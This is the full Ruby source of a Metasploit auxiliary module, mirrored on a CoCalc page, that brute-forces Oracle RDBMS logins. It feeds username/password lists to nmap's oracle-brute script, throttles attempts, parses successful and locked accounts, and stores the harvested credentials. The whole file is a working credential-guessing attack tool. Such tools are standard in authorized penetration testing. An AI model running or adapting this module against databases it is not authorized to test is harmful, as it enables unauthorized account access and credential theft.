CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/oracle_login.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Auxiliary::Nmap
9
include Msf::Auxiliary::AuthBrute
10
include Msf::Auxiliary::Scanner
11
12
# Creates an instance of this module.
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Oracle RDBMS Login Utility',
16
'Description' => %q{
17
This module attempts to authenticate against an Oracle RDBMS
18
instance using username and password combinations indicated
19
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
20
21
Due to a bug in nmap versions 6.50-7.80 may not work.
22
},
23
'Author' => [
24
'Patrik Karlsson <patrik[at]cqure.net>', # the nmap NSE script, oracle-brute.nse
25
'todb' # this Metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
[ 'URL', 'https://www.oracle.com/database/' ],
31
[ 'CVE', '1999-0502'], # Weak password CVE
32
[ 'URL', 'https://nmap.org/nsedoc/scripts/oracle-brute.html']
33
]
34
))
35
36
register_options(
37
[
38
OptPath.new('USERPASS_FILE', [ false, "File containing (space-separated) users and passwords, one pair per line",
39
File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]),
40
OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE'])
41
])
42
43
end
44
45
def minimum_nmap_version
46
"5.50"
47
end
48
49
def run
50
unless nmap_version_at_least? minimum_nmap_version
51
print_error "Installed Nmap version is not at least #{minimum_nmap_version}. Exiting..."
52
return false
53
end
54
print_status "Nmap: Setting up credential file..."
55
credfile = create_credfile
56
cred_count = 0
57
each_user_pass(true) {|user, pass| credfile[0].puts "%s/%s" % [user,pass]; cred_count += 1 }
58
credfile[0].flush
59
nmap_build_args(credfile[1])
60
print_status "Nmap: Starting Oracle bruteforce with #{cred_count} credentials against SID '#{sid}'..."
61
nmap_run
62
credfile[0].unlink
63
if Rex::Parser.nokogiri_loaded
64
nmap_hosts {|type,data| process_nokogiri_callback(type,data)}
65
else
66
nmap_hosts {|host| process_host(host)}
67
end
68
end
69
70
def sid
71
datastore['SID'].to_s
72
end
73
74
def nmap_build_args(credpath)
75
nmap_reset_args
76
nmap_append_arg "-P0"
77
nmap_append_arg "--script oracle-brute"
78
script_args = [
79
"tns.sid=#{sid}",
80
"brute.mode=creds",
81
"brute.credfile=#{credpath}",
82
"brute.threads=1"
83
]
84
script_args << "brute.delay=#{set_brute_delay}"
85
nmap_append_arg "--script-args \"#{script_args.join(",")}\""
86
nmap_append_arg "-n"
87
nmap_append_arg "-v" if datastore['VERBOSE']
88
end
89
90
# Sometimes with weak little 10g XE databases, you will exhaust
91
# available processes from the pool with lots and lots of
92
# auth attempts, so use bruteforce_speed to slow things down
93
def set_brute_delay
94
case datastore["BRUTEFORCE_SPEED"]
95
when 4; 0.25
96
when 3; 0.5
97
when 2; 1
98
when 1; 15
99
when 0; 60 * 5
100
else; 0
101
end
102
end
103
104
def create_credfile
105
outfile = Rex::Quickfile.new("msf3-ora-creds-")
106
if Rex::Compat.is_cygwin and self.nmap_bin =~ /cygdrive/i
107
outfile_path = Rex::Compat.cygwin_to_win32(outfile.path)
108
else
109
outfile_path = outfile.path
110
end
111
@credfile = [outfile,outfile_path]
112
end
113
114
def process_nokogiri_callback(type,data)
115
return unless type == :port_script
116
return unless data["id"] == "oracle-brute"
117
return unless data[:addresses].has_key? "ipv4"
118
return unless data[:port]["state"] == ::Msf::ServiceState::Open
119
addr = data[:addresses]["ipv4"].to_s
120
port = data[:port]["portid"].to_i
121
output = data["output"]
122
parse_script_output(addr,port,output)
123
end
124
125
def process_host(h)
126
h["ports"].each do |p|
127
next if(h["scripts"].nil? || h["scripts"].empty?)
128
h["scripts"].each do |id,output|
129
next unless id == "oracle-brute"
130
parse_script_output(h["addr"],p["portid"],output)
131
end
132
end
133
end
134
135
def extract_creds(str)
136
m = str.match(/\s+([^\s]+):([^\s]+) =>/)
137
m[1,2]
138
end
139
140
def report_cred(opts)
141
service_data = {
142
address: opts[:ip],
143
port: opts[:port],
144
service_name: opts[:service_name],
145
protocol: 'tcp',
146
workspace_id: myworkspace_id
147
}
148
149
credential_data = {
150
origin_type: :service,
151
module_fullname: fullname,
152
username: opts[:user],
153
private_data: opts[:password],
154
private_type: :password
155
}.merge(service_data)
156
157
login_data = {
158
core: create_credential(credential_data),
159
status: opts[:status],
160
proof: opts[:proof]
161
}.merge(service_data)
162
163
create_credential_login(login_data)
164
end
165
166
def parse_script_output(addr,port,output)
167
msg = "#{addr}:#{port} - Oracle -"
168
@oracle_reported = false
169
if output =~ /TNS: The listener could not resolve \x22/n
170
print_error "#{msg} Invalid SID: #{sid}"
171
elsif output =~ /Accounts[\s]+No valid accounts found/nm
172
print_status "#{msg} No valid accounts found"
173
else
174
output.each_line do |oline|
175
if oline =~ /Login correct/
176
if not @oracle_reported
177
report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")
178
report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)
179
@oracle_reported = true
180
end
181
user,pass = extract_creds(oline)
182
pass = "" if pass == "<empty>"
183
print_good "#{msg} Success: #{user}:#{pass} (SID: #{sid})"
184
report_cred(
185
ip: addr,
186
port: port,
187
user: "#{sid}/#{user}",
188
password: pass,
189
service_name: 'tcp',
190
status: Metasploit::Model::Login::Status::SUCCESSFUL
191
)
192
elsif oline =~ /Account locked/
193
if not @oracle_reported
194
report_service(:host => addr, :port => port, :proto => "tcp", :name => "oracle")
195
report_note(:host => addr, :port => port, :proto => "tcp", :type => "oracle.sid", :data => sid, :update => :unique_data)
196
@oracle_reported = true
197
end
198
user = extract_creds(oline)[0]
199
print_good "#{msg} Locked: #{user} (SID: #{sid}) -- account valid but locked"
200
report_cred(
201
ip: addr,
202
port: port,
203
user: "#{sid}/#{user}",
204
service_name: 'tcp',
205
status: Metasploit::Model::Login::Status::DENIED_ACCESS
206
)
207
elsif oline =~ /^\s+ERROR: (.*)/
208
print_error "#{msg} NSE script error: #{$1}"
209
end
210
end
211
end
212
end
213
end
214
215